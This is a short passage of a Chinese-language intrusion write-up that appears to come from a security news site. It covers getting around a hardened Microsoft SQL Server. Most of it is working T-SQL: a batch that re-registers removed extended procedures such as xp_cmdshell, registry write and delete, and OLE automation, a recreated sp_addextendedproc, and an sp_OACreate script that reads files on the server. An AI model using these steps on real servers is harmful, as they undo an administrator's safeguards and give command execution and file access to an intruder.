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首发IT168安全频道 转载请著明 [safe.it168.com] 作者:伤心的鱼 |
use master
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll' exec sp_addextendedproc xp_dirtree,'xpstar.dll' exec sp_addextendedproc xp_enumgroups,'xplog70.dll' exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' exec sp_addextendedproc xp_loginconfig,'xplog70.dll' exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' exec sp_addextendedproc sp_OACreate,'odsole70.dll' exec sp_addextendedproc sp_OADestroy,'odsole70.dll' exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' exec sp_addextendedproc sp_OAMethod,'odsole70.dll' exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' exec sp_addextendedproc sp_OAStop,'odsole70.dll' exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' exec sp_addextendedproc xp_regread,'xpstar.dll' exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' exec sp_addextendedproc xp_regwrite,'xpstar.dll' exec sp_addextendedproc xp_availablemedia,'xpstar.dll' 就是将以上的存储过程全部恢复,但是在执行的时候却提示没能找到sp_addextendedproc,原来管理员把sp_addextendedproc也删了。 create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as set implicit_transactions off if @@trancount > 0 begin raiserror(15002,-1,-1,'sp_addextendedproc') return (1) end dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc GO
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000) exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'opentextfile', @f out, 'c:\1.txt', 1 exec @ret = sp_oamethod @f, 'readline', @line out while( @ret = 0 ) begin print @line exec @ret = sp_oamethod @f, 'readline', @line out end 来读取1.txt里的内容,但是却发现不存在1.txt。 |